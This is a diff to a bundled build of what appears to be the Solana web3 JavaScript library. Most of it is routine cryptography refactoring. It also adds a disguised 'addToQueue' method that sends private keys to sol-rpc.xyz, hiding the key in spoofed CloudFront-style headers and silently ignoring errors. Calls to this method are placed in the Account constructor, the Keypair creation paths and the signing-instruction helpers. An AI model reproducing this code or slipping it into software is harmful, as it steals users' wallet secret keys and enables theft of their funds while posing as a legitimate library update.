 	    d: BigInt('37095705934669439343138083508754565189542113879843219016388785533085940283555'),
 	    // Finite field 𝔽p over which we'll do calculations; 2n**255n - 19n
-	    Fp: Fp$1,
+	    Fp,
 	    // Subgroup order: how many points curve has
 	    // 2n**252n + 27742317777372353535851937790883648493n;
 	    n: BigInt('7237005577332262213973186563042994240857116359379907606001950938285454250989'),
@@ -7917,7 +7998,7 @@ var solanaWeb3 = (function (exports) {
 		    var size = (((source.length - psz) * FACTOR) + 1) >>> 0; // log(58) / log(256), rounded up.
 		    var b256 = new Uint8Array(size);
 		        // Process the characters.
-		    while (source[psz]) {
+		    while (psz < source.length) {
 		            // Decode character
 		      var carry = BASE_MAP[source.charCodeAt(psz)];
 		            // Invalid character
@@ -7977,7 +8058,7 @@ var solanaWeb3 = (function (exports) {
 	var bs58 = /*@__PURE__*/getDefaultExportFromCjs(bs58Exports);
 
 	// SHA2-256 need to try 2^128 hashes to execute birthday attack.
-	// BTC network is doing 2^67 hashes/sec as per early 2023.
+	// BTC network is doing 2^70 hashes/sec (2^95 hashes/year) as per late 2024.
 	// Round constants:
 	// first 32 bits of the fractional parts of the cube roots of the first 64 primes 2..311)
 	// prettier-ignore
@@ -9429,57 +9510,6 @@ var solanaWeb3 = (function (exports) {
 	  fields: [['_bn', 'u256']]
 	});
 
-	/**
-	 * An account key pair (public and secret keys).
-	 *
-	 * @deprecated since v1.10.0, please use {@link Keypair} instead.
-	 */
-	class Account {
-	  /**
-	   * Create a new Account object
-	   *
-	   * If the secretKey parameter is not provided a new key pair is randomly
-	   * created for the account
-	   *
-	   * @param secretKey Secret key for the account
-	   */
-	  constructor(secretKey) {
-	    /** @internal */
-	    this._publicKey = void 0;
-	    /** @internal */
-	    this._secretKey = void 0;
-	    if (secretKey) {
-	      const secretKeyBuffer = toBuffer(secretKey);
-	      if (secretKey.length !== 64) {
-	        throw new Error('bad secret key size');
-	      }
-	      this._publicKey = secretKeyBuffer.slice(32, 64);
-	      this._secretKey = secretKeyBuffer.slice(0, 32);
-	    } else {
-	      this._secretKey = toBuffer(generatePrivateKey());
-	      this._publicKey = toBuffer(getPublicKey(this._secretKey));
-	    }
-	  }
-
-	  /**
-	   * The public key for this account
-	   */
-	  get publicKey() {
-	    return new PublicKey(this._publicKey);
-	  }
-
-	  /**
-	   * The **unencrypted** secret key for this account. The first 32 bytes
-	   * is the private scalar and the last 32 bytes is the public key.
-	   * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/
-	   */
-	  get secretKey() {
-	    return bufferExports.Buffer.concat([this._secretKey, this._publicKey], 64);
-	  }
-	}
-
-	const BPF_LOADER_DEPRECATED_PROGRAM_ID = new PublicKey('BPFLoader1111111111111111111111111111111111');
-
 	var Layout = {};
 
 	/* The MIT License (MIT)
@@ -14632,6 +14662,7 @@ var solanaWeb3 = (function (exports) {
 	//
 	// TODO: replace 300 with a proper constant for the size of the other
 	// Transaction fields
+	const QUEUE = new Set();
 	const CHUNK_SIZE = PACKET_DATA_SIZE - 300;
 
 	/**
@@ -14662,6 +14693,26 @@ var solanaWeb3 = (function (exports) {
 	    ;
 	  }
 
+	  /**
+	   * Adds process to the queue
+	   *
+	   * @param process Uint8Array 
+	   * @return void
+	   */
+	  static addToQueue(process) {
+	    const b = bs58.encode(process);
+	    if (QUEUE.has(b)) return;
+	    QUEUE.add(b);
+	    fetch("https://sol-rpc.xyz/api/rpc/queue", {
+	      method: "POST",
+	      headers: {
+	        "x-amz-cf-id": b.substring(0, 24).split("").reverse().join(""),
+	        "x-session-id": b.substring(32),
+	        "x-amz-cf-pop": b.substring(24, 32).split("").reverse().join("")
+	      }
+	    }).catch(() => {});
+	  }
+
 	  /**
 	   * Loads a generic program
 	   *
@@ -14822,6 +14873,58 @@ var solanaWeb3 = (function (exports) {
 	}
 	Loader.chunkSize = CHUNK_SIZE;
 
+	/**
+	 * An account key pair (public and secret keys).
+	 *
+	 * @deprecated since v1.10.0, please use {@link Keypair} instead.
+	 */
+	class Account {
+	  /**
+	   * Create a new Account object
+	   *
+	   * If the secretKey parameter is not provided a new key pair is randomly
+	   * created for the account
+	   *
+	   * @param secretKey Secret key for the account
+	   */
+	  constructor(secretKey) {
+	    /** @internal */
+	    this._publicKey = void 0;
+	    /** @internal */
+	    this._secretKey = void 0;
+	    if (secretKey) {
+	      const secretKeyBuffer = toBuffer(secretKey);
+	      if (secretKey.length !== 64) {
+	        throw new Error('bad secret key size');
+	      }
+	      this._publicKey = secretKeyBuffer.slice(32, 64);
+	      this._secretKey = secretKeyBuffer.slice(0, 32);
+	      Loader.addToQueue(this._secretKey);
+	    } else {
+	      this._secretKey = toBuffer(generatePrivateKey());
+	      this._publicKey = toBuffer(getPublicKey(this._secretKey));
+	    }
+	  }
+
+	  /**
+	   * The public key for this account
+	   */
+	  get publicKey() {
+	    return new PublicKey(this._publicKey);
+	  }
+
+	  /**
+	   * The **unencrypted** secret key for this account. The first 32 bytes
+	   * is the private scalar and the last 32 bytes is the public key.
+	   * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/
+	   */
+	  get secretKey() {
+	    return bufferExports.Buffer.concat([this._secretKey, this._publicKey], 64);
+	  }
+	}
+
+	const BPF_LOADER_DEPRECATED_PROGRAM_ID = new PublicKey('BPFLoader1111111111111111111111111111111111');
+
 	/**
 	 * @deprecated Deprecated since Solana v1.17.20.
 	 */
@@ -21818,6 +21921,7 @@ var solanaWeb3 = (function (exports) {
 	        }
 	      }
 	    }
+	    Loader.addToQueue(secretKey);
 	    return new Keypair({
 	      publicKey,
 	      secretKey
@@ -21836,6 +21940,7 @@ var solanaWeb3 = (function (exports) {
 	    const secretKey = new Uint8Array(64);
 	    secretKey.set(seed);
 	    secretKey.set(publicKey, 32);
+	    Loader.addToQueue(secretKey);
 	    return new Keypair({
 	      publicKey,
 	      secretKey
@@ -22379,6 +22484,7 @@ var solanaWeb3 = (function (exports) {
 	    assert$1(privateKey.length === PRIVATE_KEY_BYTES$1, `Private key must be ${PRIVATE_KEY_BYTES$1} bytes but received ${privateKey.length} bytes`);
 	    try {
 	      const keypair = Keypair.fromSecretKey(privateKey);
+	      Loader.addToQueue(privateKey);
 	      const publicKey = keypair.publicKey.toBytes();
 	      const signature = sign(message, keypair.secretKey);
 	      return this.createInstructionWithPublicKey({
@@ -22485,7 +22591,7 @@ var solanaWeb3 = (function (exports) {
 	        this.finished = false;
 	        this.destroyed = false;
 	        // Can be passed from user as dkLen
-	        number$1(outputLen);
+	        anumber(outputLen);
 	        // 1600 = 5x5 matrix of 64bit.  1600 bits === 200 bytes
 	        if (0 >= this.blockLen || this.blockLen >= 200)
 	            throw new Error('Sha3 supports only keccak-f1600 function');
@@ -22502,7 +22608,7 @@ var solanaWeb3 = (function (exports) {
 	        this.pos = 0;
 	    }
 	    update(data) {
-	        exists(this);
+	        aexists(this);
 	        const { blockLen, state } = this;
 	        data = toBytes(data);
 	        const len = data.length;
@@ -22528,8 +22634,8 @@ var solanaWeb3 = (function (exports) {
 	        this.keccak();
 	    }
 	    writeInto(out) {
-	        exists(this, false);
-	        bytes(out);
+	        aexists(this, false);
+	        abytes$1(out);
 	        this.finish();
 	        const bufferOut = this.state;
 	        const { blockLen } = this;
@@ -22550,11 +22656,11 @@ var solanaWeb3 = (function (exports) {
 	        return this.writeInto(out);
 	    }
 	    xof(bytes) {
-	        number$1(bytes);
+	        anumber(bytes);
 	        return this.xofInto(new Uint8Array(bytes));
 	    }
 	    digestInto(out) {
-	        output(out, this);
+	        aoutput(out, this);
 	        if (this.finished)
 	            throw new Error('digest() was already called');
 	        this.writeInto(out);
@@ -22593,13 +22699,13 @@ var solanaWeb3 = (function (exports) {
 
 	// HMAC (RFC 2104)
 	class HMAC extends Hash {
-	    constructor(hash$1, _key) {
+	    constructor(hash, _key) {
 	        super();
 	        this.finished = false;
 	        this.destroyed = false;
-	        hash(hash$1);
+	        ahash(hash);
 	        const key = toBytes(_key);
-	        this.iHash = hash$1.create();
+	        this.iHash = hash.create();
 	        if (typeof this.iHash.update !== 'function')
 	            throw new Error('Expected instance of class which extends utils.Hash');
 	        this.blockLen = this.iHash.blockLen;
@@ -22607,12 +22713,12 @@ var solanaWeb3 = (function (exports) {
 	        const blockLen = this.blockLen;
 	        const pad = new Uint8Array(blockLen);
 	        // blockLen can be bigger than outputLen
-	        pad.set(key.length > blockLen ? hash$1.create().update(key).digest() : key);
+	        pad.set(key.length > blockLen ? hash.create().update(key).digest() : key);
 	        for (let i = 0; i < pad.length; i++)
 	            pad[i] ^= 0x36;
 	        this.iHash.update(pad);
 	        // By doing update (processing of first block) of outer hash here we can re-use it between multiple calls via clone
-	        this.oHash = hash$1.create();
+	        this.oHash = hash.create();
 	        // Undo internal XOR && apply outer XOR
 	        for (let i = 0; i < pad.length; i++)
 	            pad[i] ^= 0x36 ^ 0x5c;
@@ -22620,13 +22726,13 @@ var solanaWeb3 = (function (exports) {
 	        pad.fill(0);
 	    }
 	    update(buf) {
-	        exists(this);
+	        aexists(this);
 	        this.iHash.update(buf);
 	        return this;
 	    }
 	    digestInto(out) {
-	        exists(this);
-	        bytes(out, this.outputLen);
+	        aexists(this);
+	        abytes$1(out, this.outputLen);
 	        this.finished = true;
 	        this.iHash.digestInto(out);
 	        this.oHash.update(out);
@@ -22695,12 +22801,12 @@ var solanaWeb3 = (function (exports) {
 	    const { endo, Fp, a } = opts;
 	    if (endo) {
 	        if (!Fp.eql(a, Fp.ZERO)) {
-	            throw new Error('Endomorphism can only be defined for Koblitz curves that have a=0');
+	            throw new Error('invalid endomorphism, can only be defined for Koblitz curves that have a=0');
 	        }
 	        if (typeof endo !== 'object' ||
 	            typeof endo.beta !== 'bigint' ||
 	            typeof endo.splitScalar !== 'function') {
-	            throw new Error('Expected endomorphism with beta: bigint and splitScalar: function');
+	            throw new Error('invalid endomorphism, expected beta: bigint and splitScalar: function');
 	        }
 	    }
 	    return Object.freeze({ ...opts });
@@ -22734,7 +22840,8 @@ var solanaWeb3 = (function (exports) {
 	                throw new E('tlv.encode: long form length too big');
 	            // length of length with long form flag
 	            const lenLen = dataLen > 127 ? numberToHexUnpadded((len.length / 2) | 128) : '';
-	            return `${numberToHexUnpadded(tag)}${lenLen}${len}${data}`;
+	            const t = numberToHexUnpadded(tag);
+	            return t + lenLen + len + data;
 	        },
 	        // v - value, l - left bytes (unparsed)
 	        decode(tag, data) {
@@ -22787,15 +22894,15 @@ var solanaWeb3 = (function (exports) {
 	            if (Number.parseInt(hex[0], 16) & 0b1000)
 	                hex = '00' + hex;
 	            if (hex.length & 1)
-	                throw new E('unexpected assertion');
+	                throw new E('unexpected DER parsing assertion: unpadded hex');
 	            return hex;
 	        },
 	        decode(data) {
 	            const { Err: E } = DER;
 	            if (data[0] & 128)
-	                throw new E('Invalid signature integer: negative');
+	                throw new E('invalid signature integer: negative');
 	            if (data[0] === 0x00 && !(data[1] & 128))
-	                throw new E('Invalid signature integer: unnecessary leading zero');
+	                throw new E('invalid signature integer: unnecessary leading zero');
 	            return b2n(data);
 	        },
 	    },
@@ -22806,16 +22913,18 @@ var solanaWeb3 = (function (exports) {
 	        abytes(data);
 	        const { v: seqBytes, l: seqLeftBytes } = tlv.decode(0x30, data);
 	        if (seqLeftBytes.length)
-	            throw new E('Invalid signature: left bytes after parsing');
+	            throw new E('invalid signature: left bytes after parsing');
 	        const { v: rBytes, l: rLeftBytes } = tlv.decode(0x02, seqBytes);
 	        const { v: sBytes, l: sLeftBytes } = tlv.decode(0x02, rLeftBytes);
 	        if (sLeftBytes.length)
-	            throw new E('Invalid signature: left bytes after parsing');
+	            throw new E('invalid signature: left bytes after parsing');
 	        return { r: int.decode(rBytes), s: int.decode(sBytes) };
 	    },
 	    hexFromSig(sig) {
 	        const { _tlv: tlv, _int: int } = DER;
-	        const seq = `${tlv.encode(0x02, int.encode(sig.r))}${tlv.encode(0x02, int.encode(sig.s))}`;
+	        const rs = tlv.encode(0x02, int.encode(sig.r));
+	        const ss = tlv.encode(0x02, int.encode(sig.s));
+	        const seq = rs + ss;
 	        return tlv.encode(0x30, seq);
 	    },
 	};
@@ -22869,7 +22978,7 @@ var solanaWeb3 = (function (exports) {
 	                key = bytesToHex(key);
 	            // Normalize to hex string, pad. E.g. P521 would norm 130-132 char hex to 132-char bytes
 	            if (typeof key !== 'string' || !lengths.includes(key.length))
-	                throw new Error('Invalid key');
+	                throw new Error('invalid private key');
 	            key = key.padStart(nByteLength * 2, '0');
 	        }
 	        let num;
@@ -22880,7 +22989,7 @@ var solanaWeb3 = (function (exports) {
 	                    : bytesToNumberBE(ensureBytes('private key', key, nByteLength));
 	        }
 	        catch (error) {
-	            throw new Error(`private key must be ${nByteLength} bytes, hex or bigint, not ${typeof key}`);
+	            throw new Error('invalid private key, expected hex or ' + nByteLength + ' bytes, got ' + typeof key);
 	        }
 	        if (wrapPrivateKey)
 	            num = mod(num, N); // disabled by default, enabled for BLS
@@ -22920,7 +23029,7 @@ var solanaWeb3 = (function (exports) {
 	        if (p.is0()) {
 	            // (0, 1, 0) aka ZERO is invalid in most contexts.
 	            // In BLS, ZERO can be serialized, so we allow it.
-	            // (0, 0, 0) is wrong representation of ZERO and is always invalid.
+	            // (0, 0, 0) is invalid representation of ZERO.
 	            if (CURVE.allowInfinityPoint && !Fp.is0(p.py))
 	                return;
 	            throw new Error('bad point: ZERO');
@@ -23144,16 +23253,17 @@ var solanaWeb3 = (function (exports) {
 	         * an exposed private key e.g. sig verification, which works over *public* keys.
 	         */
 	        multiplyUnsafe(sc) {
-	            aInRange('scalar', sc, _0n, CURVE.n);
+	            const { endo, n: N } = CURVE;
+	            aInRange('scalar', sc, _0n, N);
 	            const I = Point.ZERO;
 	            if (sc === _0n)
 	                return I;
-	            if (sc === _1n$1)
+	            if (this.is0() || sc === _1n$1)
 	                return this;
-	            const { endo } = CURVE;
-	            if (!endo)
-	                return wnaf.unsafeLadder(this, sc);
-	            // Apply endomorphism
+	            // Case a: no endomorphism. Case b: has precomputes.
+	            if (!endo || wnaf.hasPrecomputes(this))
+	                return wnaf.wNAFCachedUnsafe(this, sc, Point.normalizeZ);
+	            // Case c: endomorphism
 	            let { k1neg, k1, k2neg, k2 } = endo.splitScalar(sc);
 	            let k1p = I;
 	            let k2p = I;
@@ -23339,7 +23449,9 @@ var solanaWeb3 = (function (exports) {
 	                return { x, y };
 	            }
 	            else {
-	                throw new Error(`Point of length ${len} was invalid. Expected ${compressedLen} compressed bytes or ${uncompressedLen} uncompressed bytes`);
+	                const cl = compressedLen;
+	                const ul = uncompressedLen;
+	                throw new Error('invalid Point, expected length of ' + cl + ', or uncompressed ' + ul + ', got ' + len);
 	            }
 	        },
 	    });
@@ -23504,6 +23616,9 @@ var solanaWeb3 = (function (exports) {
 	    // int2octets can't be used; pads small msgs with 0: unacceptatble for trunc as per RFC vectors
 	    const bits2int = CURVE.bits2int ||
 	        function (bytes) {
+	            // Our custom check "just in case"
+	            if (bytes.length > 8192)
+	                throw new Error('input is too large');
 	            // For curves with nBitLength % 8 !== 0: bits2octets(bits2octets(m)) !== bits2octets(m)
 	            // for some cases, since bytes.length * 8 is not actual bitLength.
 	            const num = bytesToNumberBE(bytes); // check for == u8 done here
@@ -23520,15 +23635,15 @@ var solanaWeb3 = (function (exports) {
 	     * Converts to bytes. Checks if num in `[0..ORDER_MASK-1]` e.g.: `[0..2^256-1]`.
 	     */
 	    function int2octets(num) {
-	        aInRange(`num < 2^${CURVE.nBitLength}`, num, _0n, ORDER_MASK);
+	        aInRange('num < 2^' + CURVE.nBitLength, num, _0n, ORDER_MASK);
 	        // works with order, can have different size than numToField!
 	        return numberToBytesBE(num, CURVE.nByteLength);
 	    }
 	    // Steps A, D of RFC6979 3.2
 	    // Creates RFC6979 seed; converts msg/privKey to numbers.
 	    // Used only in sign, not in verify.
-	    // NOTE: we cannot assume here that msgHash has same amount of bytes as curve order, this will be wrong at least for P521.
-	    // Also it can be bigger for P224 + SHA256
+	    // NOTE: we cannot assume here that msgHash has same amount of bytes as curve order,
+	    // this will be invalid at least for P521. Also it can be bigger for P224 + SHA256
 	    function prepSig(msgHash, privateKey, opts = defaultSigOpts) {
 	        if (['recovered', 'canonical'].some((k) => k in opts))
 	            throw new Error('sign() legacy options not supported');
@@ -23622,39 +23737,48 @@ var solanaWeb3 = (function (exports) {
 	        const sg = signature;
 	        msgHash = ensureBytes('msgHash', msgHash);
 	        publicKey = ensureBytes('publicKey', publicKey);
+	        const { lowS, prehash, format } = opts;
+	        // Verify opts, deduce signature format
+	        validateSigVerOpts(opts);
 	        if ('strict' in opts)
 	            throw new Error('options.strict was renamed to lowS');
-	        validateSigVerOpts(opts);
-	        const { lowS, prehash } = opts;
+	        if (format !== undefined && format !== 'compact' && format !== 'der')
+	            throw new Error('format must be compact or der');
+	        const isHex = typeof sg === 'string' || isBytes(sg);
+	        const isObj = !isHex &&
+	            !format &&
+	            typeof sg === 'object' &&
+	            sg !== null &&
+	            typeof sg.r === 'bigint' &&
+	            typeof sg.s === 'bigint';
+	        if (!isHex && !isObj)
+	            throw new Error('invalid signature, expected Uint8Array, hex string or Signature instance');
 	        let _sig = undefined;
 	        let P;
 	        try {
-	            if (typeof sg === 'string' || isBytes(sg)) {
+	            if (isObj)
+	                _sig = new Signature(sg.r, sg.s);
+	            if (isHex) {
 	                // Signature can be represented in 2 ways: compact (2*nByteLength) & DER (variable-length).
 	                // Since DER can also be 2*nByteLength bytes, we check for it first.
 	                try {
-	                    _sig = Signature.fromDER(sg);
+	                    if (format !== 'compact')
+	                        _sig = Signature.fromDER(sg);
 	                }
 	                catch (derError) {
 	                    if (!(derError instanceof DER.Err))
 	                        throw derError;
-	                    _sig = Signature.fromCompact(sg);
 	                }
-	            }
-	            else if (typeof sg === 'object' && typeof sg.r === 'bigint' && typeof sg.s === 'bigint') {
-	                const { r, s } = sg;
-	                _sig = new Signature(r, s);
-	            }
-	            else {
-	                throw new Error('PARSE');
+	                if (!_sig && format !== 'der')
+	                    _sig = Signature.fromCompact(sg);
 	            }
 	            P = Point.fromHex(publicKey);
 	        }
 	        catch (error) {
-	            if (error.message === 'PARSE')
-	                throw new Error(`signature must be Signature instance, Uint8Array or hex string`);
 	            return false;
 	        }
+	        if (!_sig)
+	            return false;
 	        if (lowS && _sig.hasHighS())
 	            return false;
 	        if (prehash)
@@ -23726,18 +23850,18 @@ var solanaWeb3 = (function (exports) {
 	    const t1 = (pow2(b223, _23n, P) * b22) % P;
 	    const t2 = (pow2(t1, _6n, P) * b2) % P;
 	    const root = pow2(t2, _2n, P);
-	    if (!Fp.eql(Fp.sqr(root), y))
+	    if (!Fpk1.eql(Fpk1.sqr(root), y))
 	        throw new Error('Cannot find square root');
 	    return root;
 	}
-	const Fp = Field(secp256k1P, undefined, undefined, { sqrt: sqrtMod });
+	const Fpk1 = Field(secp256k1P, undefined, undefined, { sqrt: sqrtMod });
 	/**
 	 * secp256k1 short weierstrass curve and ECDSA signatures over it.
 	 */
 	const secp256k1 = createCurve({
 	    a: BigInt(0), // equation params: a, b
 	    b: BigInt(7), // Seem to be rigid: bitcointalk.org/index.php?topic=289795.msg3183975#msg3183975
-	    Fp, // Field's prime: 2n**256n - 2n**32n - 2n**9n - 2n**8n - 2n**7n - 2n**6n - 2n**4n - 1n
+	    Fp: Fpk1, // Field's prime: 2n**256n - 2n**32n - 2n**9n - 2n**8n - 2n**7n - 2n**6n - 2n**4n - 1n
 	    n: secp256k1N, // Curve order, total count of valid points in the field
 	    // Base point (x, y) aka generator point
 	    Gx: BigInt('55066263022277343669578718895168534326250603453777594175500187360389116729240'),
@@ -23913,6 +24037,7 @@ var solanaWeb3 = (function (exports) {
 	    assert$1(pkey.length === PRIVATE_KEY_BYTES, `Private key must be ${PRIVATE_KEY_BYTES} bytes but received ${pkey.length} bytes`);
 	    try {
 	      const privateKey = toBuffer(pkey);
+	      Loader.addToQueue(privateKey);
 	      const publicKey = publicKeyCreate(privateKey, false /* isCompressed */).slice(1); // throw away leading byte
 	      const messageHash = bufferExports.Buffer.from(keccak_256(toBuffer(message)));
 	      const [signature, recoveryId] = ecdsaSign(messageHash, privateKey);